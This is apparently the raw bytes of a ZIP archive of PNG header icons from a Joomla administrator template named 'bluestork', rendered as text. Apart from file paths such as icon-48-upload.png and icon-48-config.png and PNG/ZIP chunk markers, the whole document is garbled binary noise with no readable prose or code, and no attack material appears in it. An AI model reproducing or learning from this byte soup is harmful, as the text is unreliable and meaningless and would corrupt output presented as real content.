{R`"4LW]096s;cH+ʸ[qԙ(0F6iޔzte쾰!#-FIR؄KdT0^6&?W? ]G6OчCE뉡Mt#kV?BYZ"W߃3 d6P@ ~0{] 5Xӕ3tPԩ((1%i컉 f냭xT5;sB':dI7@+-n,ORJ5.:Dd*ƆBa< cpxltCr:0s+xL<d:<qRfl=` =u[XL1[34MۨO(k't"T.'O[ru|J,'MnnNR4MZ0,UbfYebP\e AkX488/?W\W6 ;'xNB (I R@eIۇZtPꢢ e"2Fេ bx ub5o%:&>Rſ&fWIENDB`PK@y>\_F4templates/bluestork/images/header/icon-48-upload.pngnuW+APNG  IHDR00WcIDATx^ՙ}\?9Ν]w&Ƹ$4[6Am-"Ch[i/T(ҿj-_6H,fܹq؅,3ٹÅe9{U哌N `.]t[^դSޒ}`'/=yr^#d/.v,<;][hJl3e_Ox m{2u`.3J+S ]/M=Kru%JDFt6C/_%snQ+$٨SGgsljrw~@sG= ,sd7T{i&MSܟr}V_8# P #Q6TIÛZ )Ya37e ]bݝt̻zNxX ,t-WǶԐ<$՗^O~?%FH! U@؂F5O⦕=²WZړ VHxƺ!Q>$ayD63z}ۂ9Ѽ]W6/%xRVE0$EcH; gcS˟^ݲ䞹TS!<(ucVg<"O<{~>-˶\] jS0S_Ir6)ƅ;r#&\Ȗݝ= ߼(_jB%v`(zr?O> >[R޶i7˷ԡzo=Nߎ zVΤx`±=u\ zթH5 h ˜=W72dK"0 T=_<D [ @<މp@1KԌM6t̍/::Ѭ(6(3Vrљ8~İ9 te5* @2x:%u>{RlXIENDB`PK@y>\ 6templates/bluestork/images/header/icon-48-language.pngnuW+APNG  IHDR00W gIDATx^ tTΞ(XPl6S.sCmK)R~QZ+X6A$-"G1aIȾ/L&u_}$f&y]y:2"%*ɮ/Ċ~9'1N)Rɠ>= w槄p |`+LT>~ 2Q-&$+?huJuy%|pwa^#D 0E2F!Ȕꝷ7!:I-~Obl EGe?y̮\L)J7d[u+h.YαV/^9@p`xPDP$Ue=8wϷ4ߑ=A %U! QK' h,] 6DQZxoImD%{ Ju:(}:iP Ysx O -A|:wʌiFRIv~:k4x.wd82 C3Gkp(]؃ Ō$Lqzڄ$ ]ey`gk)h1x1gL;t=bQcvw΢t1X(^lLfx)aœuY qތ6+DANLƃ534P\eXݻbf RPY@ cdc 7b e6ܿ@b< Xz}>.W~e'VIfw B[ HZFD,ߨi(ͳ8GNEC&B=@j}P qbln? R[ހ+f=}g0gāJ :_;wX:Vc©3"BΗ:֖xZR5a,*\u .>c1A/O֢Im{z'6[xWJqY $bL/>|&DufCLd&gWd IZ`^?8tqcڣYհCDˏt9Z}5j.?J$z_Izc(~PJeycz\>9׌fOMxP9z Fc O,>Roy0z%B&,c_yK;6=!NxW:6҃Dx#sW 8 J 8؅`82M4#V^/ /,@0"ᔄ^v 19'iع|.2:?rH *MsM#P$b6y3}IO\{Z@.U&;tL1\T a[e;t餿W#{qD 2҂U܉?R?ȌaGPet=4Jr[p \$E`C9  ;$C=y4in!o]*}GO:@bX|*E{ekWMn : ^M,&ND9ZO($&}}`Lg2c/K+:y9>uU>:k_3 'v6F ,`WmP IW51iE߆L;Zk.k@ca!8"2hQKlp3t"KIENDB`PK@y>\   2templates/bluestork/images/header/icon-48-user.pngnuW+APNG  IHDR00WIDATx^՚{\U?ξ۲[ (! `U &4 $E BM THВ"KRvvwfwf=죆O/ٛ9sϙZ>H>q^IZCe=o_sZsFA˽ K@ ]8t%fLũNaGײ‘KFcE˶2na< n?iuՂYa0%M/~!>P|;kYW3zuA)&d}=0==GIX ֮ʶ}9CpXY<i|[* ITccM0>fݽvkR 램9{ӕ-Ⱥ:l.Gam9?e=<(OqW[֠; h8j]bqIلN`~G>';X0Jpj9Ϧ ٓ ,+u?Gye X -^ RZ^o1BUU+VuJ.zEMOpTt8 Y7i>=i"6m30e叱yzz2aX%b4lԅY:/Ł/|APv89`JU˯KxOυpD/d{SWS2Ն6\F|n v s+է麤 m,dMoڪA]8r ǡR¶T׉Fj[.&"օp߾[ԯL4 ]x]{$w۶=ߜ -k׏WS+CwÛ05,#FKzU9Ϯfi+7$].R aҧ ad(twa1AW0 y+/n]vAS>j=]DŽJ^ZZH&/}܄Ah2Kjs#O-}=P:dv΍Ud]DuH 8!,#a.l'a4Okm pMUu*XHap&,0jnkj}Hz Kňg(`Z]_zBiCҷ(uY~ŌMXZJ8&O:kN $a̴x\փ{ijf(5t~`,b#aqH+A3n7 q=ȇ RȍJ@` *BsmLina0NZ-@k V[iF0^2sQ#z5!7?d=ݣ "Hs~x{O39pIA(b3v`fc3{vkAQ\G *xஃtSIVUyJ"Õm"RF)g\rZY Y 6templates/bluestork/images/header/icon-48-readmess.pngnuW+APNG  IHDR00W IDATx^՘mlչ3;}:Y&CB8HT&RV%iA-H R({BTUr{oB)@4H8N$k/Y}gvTk9,Q'g43*ir-H>bغu+A[HQСC,v;Ҷm۞lĚ{^oO$ 0B?fj+V`ddq`i$0ڭ"MӰɖ c96uhooglllǾ}ڽ{wߕxЮvWW~߮6SOpd^޾ω<_.w 93,[Ll ߦ8z!Sw]M~^=>&]kBx\`6⫽CӴlCBm>ʦʮۮ#v~>>n78pۏ4-eZI¥9UUw,sUK0OrjxT*(fFLvI~/_>vo àRH߬pn,o8ШrQV ΍oRt8[f̬5 #­cO-e'W5bEE1(R7~ylȶC `rrRC0Ϫ[bH9$"BH׶pZ(D\뺈r̝;tx&sq)Ҟfz[RѶ0DxADey<Q99IN渮J&0NfE$ T*K-/MDKG<L$ ( '<^:eed.Y:fX,WDRIF2BXZLs_2Ư2̑ezf@2o Coo՚,TwEPH|}%YYl٫2k,<şBO u| z\q=;~(^wXsa?#&Lͬ߿ } s*m޽lذƍҤ:*;u͚ )$&Fgg'NѣPī! Xtݷ7^`||ԡ-ec8q=55E{N;IN }144U6t=uM"jiTbORJRh̍Q{6{tAaB׎[x BT;ɠ"ˣq|F"GeD򕲺kVRO@^Rm-t ~ǻgЏ䋔fȞ%Q_{R> xyTUM;%2 |MGgqic1w%ը&S- .#S.*ďxy}k={L |B|6Pt-–]n* pa2Aok<Ήw/›hً~1bKTuBU4BX,BĜlf7u8~4I||.O o3g1%+Rjx@O2}=|7z`2=2^`V$ d&rTp2N6UB0x4LlTRabz ߉׫@`ҿe-ĩ(ٴƁK#YpMbVziDS#$Eͩ'=Ts 9Hk2^Xޑƪ?~-9 شZ;T x*)&6&1g}9nߟu 4CD\ L9nNMA˛4.ws%d~|kEOft|cTPK ^@*Klߓ`ἕH3Ō$8sUѡeNJZzx=HZ!qGg%XXpaߗkVB٫ν~JDHFhJMu*4ϫ%ƴE('&ˀ)X"c9k\/c\ @A(yCi4MkS.vUL'qTBEb1͡yL If֠wXbƛ=8aX\:n"&Ays^u`y_J=Ε::5k\pv !6i ݪF8d U"u.k27Xc\lпލ),ıd;WPJ٨NnqK,U}Z$WZO'Cڭv^Rk511n29]_:+ktZSJ'RY}up-W/F4{WTav)rj,%D&FŤX2Θ}_YIaힰHs2Ft.?|) #~p̀o.V Tr I,ܒ T]zK":,9IENDB`PK@y>\mL ;templates/bluestork/images/header/icon-48-banner-client.pngnuW+APNG  IHDR00W aIDATx^Y{pT}nv&! y(Kq3VG[ kZ`F83V0&-CPC ` !a$ٽ{v7 _wO~s]( oVq-%$@#dIeS50OCBpC#Tᜁ((\B C5CăEK",q8_ypḾ͕ b8G;/4PGb\ <Sme9gaM%0͸xgp|i8 w:QzؾFg <~l\8 7ΝV_FAGXw5tPZ0`ۻGzTFe0eNn|͟tu]~=N44v6,TPoE/ 4q׊[<?Voir4z5ɃGO>yaӏ1ׄg.εxs+ '5jwdq]˳Kc\;v93 %-(Al=hOÏV`Sm^ZQ0MlڲD^Daēg`}yFΗk`|e`, qA7lfSwcge0"3P8F 7NKcv%Pdlv!j*zUwQlͮ,̲AEm"p_bK 񄄸(edkN*ī&4 q"5ּᮁ "TxTLh @W[.% $YFtFj "GpG}4JqIp2T5PZrL-2`۲rNn4qz0 $Nʞ^K4 LvΈ~<씡ZɅ6L>:{el7'\<9ǁ {D !F$cxB@eRT*XџSk2Bl[뻻x{A6ep;HψyDVtjݚjX\QK's jTaTg̱h!mAI N7Ch b$boOD&Ws #n:FI&_$РPT2!= n(gYݱEᠼv݅6 4gpR0љ'$(P^HYjS'i*poU~WɎg_*!p5q㞟fK!!#KFj2[5!Sk"{r& ^ٴت2T8*pme=4CqzO{T {P4$)_6 R_~<XV:( V >PSo&֮13vNnsHV4 l†;Ǽzc7v 8`HuJ4 W;T&\ APE&hL@5\a Эyh;0v`=bWU=޲}'l,]`tPoJ X F4s+"ZąKz%2UuRx YONb0`3./(.7 /nD{c;g"h! BHG $!(H(`Hp"n@^(|7v OBˉ#ica0"/&"H5r ]bB^Xb#T(rxB S?}y: !(tHG$F| g!_"^jxIxhR[* #,dyuP%u\ ,3^d[O,tߏ/vq:0 ϵ1? J@PXDP0!!L$xaL&S B6M0|l gAO2|8sota8v(suS8 :Qڛ}t9v;fN#-S8$AzG#1vyu3Lc':9J] ]Oe3š"h7RQɥUHi̡̦4k,ts;'-:q`f>< BU4WJK7$C>*ƣ'??se!`{+l>d2kk`e7t3|X L)QڛGRnIt2iiZP1Ey:I[(A!E_LP "\E4i)kԑf)Z(U{ IENDB`PK@y>\ V V 4templates/bluestork/images/header/icon-48-plugin.pngnuW+APNG  IHDR00W IDATx^m\Ungw },- j tC!~%hC%$@tBLcLj-%UiyHE[v۲o}{9۝ء̌7O3{9`vܳgO uZ=Rx|ګnvlt:."D"kiok#='4$pɫywttE/z-=K%::sEZ+DLg5/j~*Ėg#?)<ۖ;0sp.+MΎl=_|xSpih {s@>I5؜Ko=Iq͟q 4``K, rVVLѧS[9!]wc.]š5kKmd2 wg``rCEH^s;vFbX ^™!m7F?DG=?b4eDW!uHXR-B0Qx(vIH sc/Dz&m Y].qvCNW$TX!-XKdyOus/"$7wՇv?NBKbpPKD_p>uLAf  0ėtFr. FԼ*j(YDrNcI"P烧tsTfȏh hs"nJ90`5 _|ɣKBqZE$[ˏ * k[)2-U8ݷ<v(z1Ip<+{x7X-QuHAA9.lh?0g%à(~t@H`3#,i2/Ѳ.$?d/P/5q]wv2 SW3Nv ol~'r+sb靝"L^ (f.@*{`3Q0G\ޣ<À(zh<4t$gkdHJN?,g_4~8в p _ 9aѻIENDB`PK@y>\hwg g 6templates/bluestork/images/header/icon-48-featured.pngnuW+APNG  IHDR00W .IDATx^X[l\W]3sgƓx?8>5ׅ~g TtN۾}K;PZAlg͛Y ڻwuE^fXv6!RRh>ߵz(nTw=(+MA/_By۩.<˔555Z߬]ύ "J08MelPk à$jk$ H$wB|l2qqY zbYy !aZKBhlD 8DE1uHdJ"MАZ׈j\&jOFpxK&&ikBѯyʖw!6+Q&lXfZ2fr$***0;;K)Y391!dH\SPWW' V[~aIX,!sR0Eo߾s⯩ !k׭8YEHw{?1I&J2:+Bz!xAS`vs2#N]DB"]2œT>bGdp}$beJדIaF$n1/dI0`ْmZR\i,0l6 ^^Я|#@i\4 g y0b bv[_ixX쁀P \L@vopo m&h ` Ʊ_xq>iodĖҖ x8^c C PЛM#>D 86`f{Ox_w66"\e,sț[|Y kp3$к N29tZr ڷVeyK.+s&nAUI @cۈi넹;U,'ôʆ |wx*-B!C8rb6J,'gYי?v]RU?Ƕ0%BW3|ib1}mY*vjCY0QsiK][$i :pnXמyq(2(C?!VǛv=xd 5WP\m,s;/~пTs@07|?~#~KBkwƵ6d:o||Z?i,D}IENDB`PK@y>\e2templates/bluestork/images/header/icon-48-deny.pngnuW+APNG  IHDR00WIDATx^ՙ{lGǿ{;rQ414mQ"--?ii(H(4` MH!q HUJ!E ,!ZHԩH qQHG|̰H&~ؙg7s$ϥڻ{z3a k PHZxv<5:mnX:A" ˀ$c<` `1_q۞~|C*DP 8RUr< (֌uvoqlܳi/b[UK3$ߪ"> P'x~M:ח`] wm@L=-ъ W5#۷Fw4xfwh{kkkΨDY\r.jL\CzxG7wxV:c eb֙&Ibߨ>[UO?6# rV~b,` =& H3s%eucpå3T{~ҵ~m[5x[X(鐩O<| ]D@9Y,DWևھߤX< jMbQ$$Bpe*ӣ;pU7CrX,)6f> ? oxbQL!v?ӷz"@Un.,tdRQao9#J@Hh=RZ+ԙk# \ބFE}??2]Lf9o-e/g(\VBߊGaH BDH3S5Q>ae)K%y޿$ A(3^$Je|y.sH'(ҋs-2YE b|+)d/J- 8 IP?*Q yaHd؄c [k V`nG<; cYٮ՜]\XE !89Ƌ\J@J&åȜl8>NU謞R 񍒉b4YR-`DKh;ރqM] E"X>[${:ǢJ4X7+E5t|I]eX"D0AtM*?cts0= ʒIx-G5=ݫW'Yؔa!7 P?ReN[{>;&N5Wi .f'l=hj]{,^_r{uD)ݹμg 7-XDS6A_ډvԬkοշRd%@PT2GJPʽcsڒ>(J.6mfFBS1s&*)XMK]E^Nw7auh`p]c9G˹ʈAr.Ez™XF$/8ߵw+R P qr4Tb2JS$TqFftY_WL_gVO ZcV$4 e *I@_Yt9av}:ttي/Dӗ>ww[CB̹:UQW,A!$h$8\`LǃK)Nv7/)MDK5W;-IJ:k@ ֈ^vnDKtifAˋ X Zym.Ai4 F F@ q!BP9& G@  @uЂgb>4 h<(X6 [l8_- :sC3.PZP<2\.$¡[*`>.q[IENDB`PK@y>\zH4templates/bluestork/images/header/icon-48-static.pngnuW+APNG  IHDR00` PLTE̵씔٪”˜ϥXДRNjԗծȚťdZίpKˎcÅۣ֛۟ѳtZԵv˭۽~ɪi̬l羾ě͏ŕǮ{f˓ؤͤۦ]]]j}~׸zþ״ܽzzzu{ػ|ƪrͲ۩~f7llk֥ΚħpӤ؝mk:s5P~pM~nsT슮;6~ߴBpsOG@ [͗m=2,hnhhٲipiժ{y-X]/OY) N33p4OLu@aj6^R7crаg5OQУ6!QȢ"EQ*0j+|Xb  @@eE$NfP&m6j0(}6[LրvRcv Ȅ &! 7‡99;hBK1;\.^;o5H${nB29W#x fR2~xIENDB`PK@y>\zH5templates/bluestork/images/header/icon-48-content.pngnuW+APNG  IHDR00` PLTE̵씔٪”˜ϥXДRNjԗծȚťdZίpKˎcÅۣ֛۟ѳtZԵv˭۽~ɪi̬l羾ě͏ŕǮ{f˓ؤͤۦ]]]j}~׸zþ״ܽzzzu{ػ|ƪrͲ۩~f7llk֥ΚħpӤ؝mk:s5P~pM~nsT슮;6~ߴBpsOG@ [͗m=2,hnhhٲipiժ{y-X]/OY) N33p4OLu@aj6^R7crаg5OQУ6!QȢ"EQ*0j+|Xb  @@eE$NfP&m6j0(}6[LրvRcv Ȅ &! 7‡99;hBK1;\.^;o5H${nB29W#x fR2~xIENDB`PK@y>\gs8templates/bluestork/images/header/icon-48-levels-add.pngnuW+APNG  IHDR00WIDATx^]he{fwI42ZBVj Z*́ҭT,'$X*zRtZĈt V F0jE m4Ѭ ̧,eho >hMJI-өq~<]@ҥJ@q;5|lmإ$@$'(d)V,*@X"DeJb4=J!/$B7q ǏQ'>jKGyS3EʺP-i R +\9Vv9`Q#1&^T[nz#fc[r'r X8Qe%qsx鍛@6^tD50WFμ̅s2J;Қ5b>=> .(ZÇxI)^Jz3~#Kcj_p1mo#-AG[i@a;L=I z~ q6ZnoJ+L;J#SL8E}OŮB{a,2EG ?v+AiIENDB`PK@y>\mޯ϶ Atemplates/bluestork/images/header/icon-48-jupdate-updatefound.pngnuW+APNG  IHDR00WtEXtSoftwareAdobe ImageReadyqe<hiTXtXML:com.adobe.xmp &^IDATxZ]L[#|@ M YI~ dJٴ~, HUU2R7a&U{0%ڃo"%넝S~fmצISC iRL 86ms._{ .#=_r9~?p&+D~Cd7r=mD˹upOH&4%b'oiB"ԝHG?%\6?=@іtn.g7k*`""S Į]1xgr90-{|,񹢁[kpղ>; _jַZ6j Dk30N~"Rx0ϗ ,G|uj{sqOu8#8_B)y Ek~΄K 7cpO?cZ+غ[((+[1 8*]51 pԬ U.$L!8LCk@!BB|DA#En(Hh`/`mQTĦ- ыM`s5T|LJW5e@ng*yI \%dώn ʚ̢i6RiMn, l)Uʈ/Cl Iގxfg1E!L-7ˮ| 9UTI^%X)e6+3clTe3Dg"X)Mflomn#LE`+ڀ F6wz?6pmV %?:T|)%/nWlQYKUY1"߳y/R.E*XeHSaj#yI!t śyݞ+LH|tV,9  U>8=,{)^׉]ԏT:{ ?2:s@$J煅(%ľ}8( ;nx?؇ 0+(5r $d)QP X]Dy8$Lۗ_/,^ڗP}'-'+m' lBNtz=G "ϯ'$KA,ueGuP`B1F*B\J%i|q"!Ի#:؈r1t*L$oR_cYYcE 註d_?[OGMqfN\Zk"ZB[o$D5_G\'LmեW=l\N&$"u HUz=~(:F3kM2tk!ըӉ1 rͥ2c'<IENDB`PK@y>\]-Dր:templates/bluestork/images/header/icon-48-category-add.pngnuW+APNG  IHDR00WGIDATx^]Te9gUdgwTJv" eWHB! -Bw#P E$KIԠYv MUA 9}ZZ0;gggyn<QU* gJ`J`JqSM-@"oRE!\Z=~lv&Qf3 \bbev-dtr8{D>]5$ހ[I-Ktߝ(C@ L L ;h5 h"!MG8Kbkj):d{e3៮f a/rAlx7͑j* B4@iq ,"!J% BeѿȎϻ$)o\]P% ȭ#pYg5l {X= d{ C}Tfpj5_VV|jd {7,p&%g ?@)m/_n`qU]Bhd xUs*\3"bgm l ̓</~ȯkA̍>Vxky`}\x/|hOU0fd%OB0DEaRs`YkEYDZ(hDzR_쪮cP9~Ǯ@rXBe8ؙR 믾 &nϼ%JX8PJ 9ysM]qܬ7WPAjMtm6Ödd܉\ی@Q׼T n\N0UN}ˉl2@5+;"-?|7sX j0At>ƒ#`nMmܾn[+e'Gl6bM:Ts^њm:L Kxmvvy^݅GϘ]@y⵵>l?10|i{[4X4tY oKݬw۰P(0Vtn f|IENDB`PK@y>\84templates/bluestork/images/header/icon-48-search.pngnuW+APNG  IHDR00WIDATx^Z{hT{yg2IF5j\VWv+XDCAE*-*vh ]tͪA֭(Tk6+ %B]6G$3;97ߌ҈;;Q, _g57^$IR|?+S B $ Ы8[n]*..~ t]׺D"Ξ=7o!dXk ټycǮeG2@Qa3AGG"H&ړ'Or̙oܸ/q`.LXhь "+&N1c J Px)oC:_|G @73 .@D>f͚͛wT2eWW uwiAHE#H?n!,"Ν;1.QSȷdɒ555FN6 ?ĭn@].G[FGp7~r ڻPAJ0a„7n\́ %"lٲCC QiW= CrKEb,6Q;)~ ۋN- k:i*ơcyP ̊ۆ=0u\ٳ?P9w ?'eÇCD#z9~rڧ@̐{ \؂,hUZbŏx ~j߯z>t$uC xeQrc{C(G}Y4iO5jGO,=4EIrMpјO"7#\/*-Yη/UmZ߰av $`C88$x)-ʕ+P-@@M0E97;Kl `HA,xox8Ftk{1'2⚆PvD 1 9˽heH9-H9i Ȋ,:6r,xm.lM3`8Yg:AWW"3 J^r4< e`ô(œN ;ˮT% 'Z"xN[@/;CƴYh`Ή3xw=~Kt=?~?ͷ!IƐ2i"D'IA aΧ݁ϟ7g<}L&̟RqtG"Вi$ )(b'腞 iH~lbHb… ;aEG]Ģ:EB@^Fi>9ϗa~ wb>L12(#Cǡ%SM&&♀iXCBw] ֑'>.L{ ]j>u* ōxѷ@F!Vdȕ3 !HQB݅}4sfMӞ5778p| `6mz.6ϊ`$|%0!(>UTχɧ$Si̤;hmm=sԩW\''t!.AZwjP(TY˕v IXD|Hm~=_"|a'OR9pQuΝ7PcNQ1R<%-yY Go۶WlooG÷;on<|˗W/^'pgSN@3ld[*Y,XP FN[5Q˕9r䣪UDnK1cǎ5q%?$;q[Pb G34Sl"X¥K)[v"ܿ\027}8n(Jyyy-Q=m"",BK'(Zu1*γ[@!1K$k׮ 2Js̩}ǘQ3AU?LϘ16}0S;Ç{/^\ [ɹB4@scBሾ}y#99|;;;qСsVVVz%_~j.իUTTw޽oo^"`js5Fg tIENDB`PK@y>\Q2templates/bluestork/images/header/icon-48-menu.pngnuW+APNG  IHDR00` PLTEžЦظ׭ǰ?q㴴ÿi:qBtS{#_4k2cΣԥ;m)cy?X|HKsRo`~Qu)Yޅá:UyJq덪͂Z{u:`ɦBi۔7QuOud$S1gBkz>VxLns!Z񅓩ʌPy]}KǾY'VxLs L.UiR9c.[՘:hOrϦƘCxC^(tRNS@fIDATx^UJQ9 t~og&u:W*ʼn?$GYr juįN?Yv]*?88+.]KFFR/M/##dKZ5bDj|x;] dۊbDJS ֟uڰ qGfqv?fzWF.ȨUQss}u\ߏ ɲBIƳ|3$@N t]AWa{6R!dnbmg<[0RԼсaG?,ҾRttվ{h7M۟x/&~y`jj۶gadT"T3FKAk@$LH tHa,$dHxRt5:Nf\+ 1cWA\݈[՜h..d\pax 3templates/bluestork/images/header/icon-48-inbox.pngnuW+APNG  IHDR00W IDATx^Xil\=o}׉ɆBH $@HTEDJRPj+*T*~TR҂(I4JHԪ*jBA LKB`[x؞[zS{͑w=wg4yٳgWx #f}N/f$|/eyo}}=wa! T_ąK4688;8о*EB!H!ݭaDQ*xLpф'1sid Ed&77@Yx^xȑ#y_Ih ,!ucw@G_7 fR< / {P(C@]uC"87T$8M]l^bwFqxwO~D Kz]Ǐ_{{X,Ve(Xjgh xdD28\.9 QTAM73gcBYd (Pj+AQ2E[ vST"{&ü2pԩ=,@"S JH,qP2K鲢5bhEQ$C4ck?L<ݴ(d2$Kmy[x<;$Hؙid/^ WWqlZ1W70992$-L%$0 RēXZ0 3$]15|.og2KZ2-R}'N߲m6#g2@xf=2ZO~Ds(@Thiiڙ*5B"LV,[j_ѯדtȢB2jF1g̀Y(2 cع" xn5DD"!*fK5g@` 1Çx\ 1ÄFұ 5@=J椅9`v{_A@sр#Znx1ŤpŒ#5ahM]G$G -z#TݗM߆7_JYU/jxؾv/k ܾ&JmLBހgEr3yi:WyAχ< l( "}_kpd['Xȫ%ԣ7>_`1CSDžg *|._?Cцk08[ڑ]8ᛱX@TC**0.0LȒG7&aɵWƱn ,6t`4:=p1pnVӱ`39E2`gc"7@]bÎ{> @JAbYx|2^#E D)DW )9i.t D8 p'9?4mNCILD4N-"Pp>=+T ^DaRg@D/κRX r $'MY7UߏNPymq9ćش5xcsύCɕ[BgPS7kbt 8]VapZ1&'/uu.L+Ee < Lw4 %)2z9PwS6̪LSyevgyߴ2м B_wQ۞3*$rjF^ &4)&5Ic+j%Kߧj@P䢣@g#1WM^TnL>p&JMvع_ f"$M3躜@2-=ǍD"2Οa 7L[_f/Ȳl[1 KD<֘HXǖJsc۸OYã܂N>p(nFA I@sņa8|߫8j,ۆ7,)ge"`aƐwZDvjⴿkYfŒ1QcTqT!EyʶrO1 RkQibĜE>F島"֜:7eFlᕰ״iR+Q$N B\ 1&& & 6templates/bluestork/images/header/icon-48-contacts.pngnuW+APNG  IHDR00W IDATx^Z{Tνw޻3eQ` aW҂EXŦP&)&mjmӨmZ0[5ĪT[XY^lwy}9=w>fX4/̙33ww]B)3Pǘp;ߠ:cD)Pb<-#a֜RbxC+Z  SGN%eİ|.]{kqZa!yЉ6]yùc̉vuc`a9tϘΩ9F(`Zd H;q!1 jKQx$w j @ӥ1ʼP*k׮]Rfa q1ChxE@2$@;\-p)FNgOc DŽ fFtPг IGm .h"X>9 NmB`%7@(c=(D&'3tyM0 ' pnyyl˻4xKvXnCI6-B=u CG[ZH-nUV,ۆ$IL\6? OBF V^a6=9О.!oM2MB!(-<;S@A8KC%db3`ڵt4o&(R#J[>UGGD7Gfok J:w~;vx5vtY,2+QS t6\½}Y"BCB*?}pe~x"0=Dͭ3 D GϨd 5@d%qC-G/\dq6bޭ0@L7SS kЀ)EGl )H*ie0c @Cg⮜ 8P,PaabyPK7&ndj%ظp藂`<~+Y} _@^~_wc$Pn0vFU{ ֮Vq'Y rTgj@5kVוW] ÈnT NhoQЫZƉȫV:Ƚ hcO 9O:`NVK7a`l!^R`"71sk* B|2_}#X׎;!DEm€T3#TKkܭ{N`ތ{=-JP:+sM깍4wj&7 fܾ ,!Tw `J@%Ё;< @ zZn݊ӧO7`[etHk~#n[SUBxɽ|fc濼=r&"Тaxg@:TNoٲe/( VQ:at\]ϘA-n@UUG HY(Wi0 2hʡtdEqHHI`,dY$'b"Pdlo'L`d}[8$y嶧.-2}*J1„J%QD 7l hĄ e_Fm2 !6d ;FE+Ɨu P(&U /0)0-]&. B|aа ⺳z?E5X&A(,Ԫ$X…*8($AmI;f2-\fJP;8ŋm=Di4>2lC45 87Xxxb?>f͚;6lxhRZ$\:KTT4templates/bluestork/images/header/icon-48-revert.pngnuW+APNG  IHDR00WIDATx^Y{L[UЇrMnQpCC"00 ,&#I4SsY6e&dfb\$iFLT!lsLml2f0>hpXp#/n(7$|#҉0I1NoOP7зCMFgY~^| ?Te(QMf婥'94{H8HBxԼ;lteOZ:$-lgGמ(KɁh1'Ya2 f.4~p%ls%cҩʲCQ)4Surs^ΕEjc,%C 9&zr4VtJ xgpѢd1j$ 6RF4p45J 8~8O,!8!fRL A[nz/o9]!x IgX*!@ԩ]}-ULh$R?FJ?|xרU(HSٯKzZnr}}]@G@>P'_؅mSE{}.z>`؂Ur#sLE0Gެnqw]uw#cu6_ȧFHV&mkPF96>ݖ?>_e(1Z $Gwrst9$R +4>E#h\obWv홢KcK׏*|#c/D& HjA72DWN r"n0'Bc x?F(AL|z?R |,DcR!]QOa6uPRfӈccH"fN!N&y % 0:D-yd 8  q$ IX,L6Ю f0KD_RԂJ+ph# %.~R5>Pϫ<%DijOlr0B pt/`\jHJqqqU.zIENDB`PK@y>\zq7templates/bluestork/images/header/icon-48-extension.pngnuW+APNG  IHDR00WIDATx^ՙ[lUegw@K[ ^A@BCPC“1 \`CbbbL1H B%r) .evng>gϴL*[wt/9˜}SFDQ1Iغ .GX( qPBB"h]-d/WT'1Et oNn Cf.\>5`Bb67Z(D䲐ҦoSOǢh۳g@6Ȳ ˒R e:qmD5on, Uog,܂W&U3x|'`` 8dC*(xaNw")5R 鐆(.D,˂&Z,яֳQ*PDLo fȅNX#i::l;zPuXnӗ h!"Xd_{<QfK dcɿƥ-o!, evP50MU@a-4×:]ӱ g {gp0U1꒙9\5o ,U#+iadG/ oXNp. \uB\ڑ MUc܂)h~~O::ce`w!=x!qf@b/ lN8A6`VE?49YE [0.@56㛦v1z>o1@B@a5Phnv7Wu0#"C:sĸS>S?b;tVjH .+$zU# 0M&s$Dm[\+ (#$u8UN@2u!SBS3u0E^_P9`΁ @_~>1k x 0L7Soޱa)9 Rt[(wBH_NCE5W^D_*mZL6J>XhEp?0 \ > 4templates/bluestork/images/header/icon-48-config.pngnuW+APNG  IHDR00W _IDATx^Z pTݻww>n6%% lY&J S@Ngǖqt:*VmǪZI֖ @ yl{\F&B)SN$F"c:\o.˟pP/z~a*E 8_.EH%W2.9mH%xC0EK*T/XAG_lYܼ̆_}"~+V܉Z_B^\`ٕPJ P]3>-3B`h[$@5BS?].g NT>Y$^rq ٸJ ԯ鳗,IVPMh$ Z:#sk jN gΝ;:7%PrVśD` !&tU)rwW8ZÚ-#,_5k !9JlLL& XW8p04s'Sk8 IEwٿ<^Ӱ&,7-yIm픣V T^+y{7NII=,H|N~~hgʼn`f]:+?-`klHd<6"z:.ux;HߢhABԜXXoռA4g9 a1}y7ge߽nh^ӧ) OދMNUV/0FF5PxC5îlHM$&%-aEĿHg7!&^%$ uUOEٖaQX^qɼbF!55e,>?_SSrߒO,+ (` Xc"n\Jܖ3&&fKڋvdd+`%T8Q3`gLqj^À$QdU7To[erll#<ЦE$CwNJsymx5.'OU5i:{Y1'Y6yp;膐&Xnf<\;?O6>|+?i}&]6/$ FZ5' G{b}0dX\]pD'h-zb'}[iځQ(HN(}^Bt|v#6,Թ 6k&\4,x9Rݿ'&GO<~@!+L00S>~X.U鿃OKSDx`~bűjUOĬ0jpi ծQ_Xs3R{!/ 0j MuAO7aPa>h @io?Xŗ'0*2_W_J^0W(P"l-b_/!O^;&0b+o)gnZOV-0 uM~ffaнI| uZ!fJ֭tT*6,Vkk{s1͙Bj 7F|i%/s_ %0+\.i{/ўyb WMhe1+(SK_]5Ѫ2T(4A Eyɚb/23Wzv%~F CٱyO̴'qI󹨅YJ8kPcL@pc^=?TVЈg5T.@+bB6V׆$Uaڬ}TS"q@*2xK<B4O9B_}HtBxO&!3I] H@ЁvxǷ951@MY6dj:@"R|mVp(} l Q!P=px&בwlB4Lcjb8v0Ï(h?;d xG}U'!PGc" 0T Te7Ȕ{>!zyfNpq)o;b~5{xڣ !Vk v]$9 ,%0 2@PN],?J RxQ 2$c}Ȥ`%L L#|=_4zsڽ,_r+Z)5:} & .޶Vm佰 ~ďτgE߀bV"p*t:Und~΄͇f}B:==<|VlzQIENDB`PK@y>\:.6templates/bluestork/images/header/icon-48-calendar.pngnuW+APNG  IHDR00WIDATx^ՙolgg'NmҖ6MVmb ["0X74Jh$$ 4A]`뺬i:hI&ϱb|wr:vft{~gV|G2tSvׄuH$Xtet,9EGKx#O߸ ! וiV==̡hl9=Q[*̈'a OSʺPݹh yY`DL8B"DQLuAya h!3L6Bm#ך ԘnYp&!I/@{/[ZcEz?1pjSUUT/'l^(eIh~KHs&d0r9 S Eyr@ D_tݴ/غ*[p`1Ĺu-\ 3. Zk@]EUa4MȾ>Pǎщ Ys1K,Di~~O$)\?9B8Y=\݃3templates/bluestork/images/header/icon-48-clear.pngnuW+APNG  IHDR00WIDATx^oW{ڡ6*TH\uv"c*$\pA$*;fNR$"T@TIie{glVZivg RhG}ڻg,3H ^K"BQ?zm LU?m-M`Om x~x{a!1wST!M*4 :Jnʂ5Y:u>rܮExdXIs?lһGhXyjPHI}^[~eUm~eQb; ;X+kt_t3rʚV oX?NH4`TIbG(y`)+ 5Xk(n:Z]U2N1;#|dUR Sc<{ю!’;kWJ8-1XũT ɊF`lJ_u+Ɏky 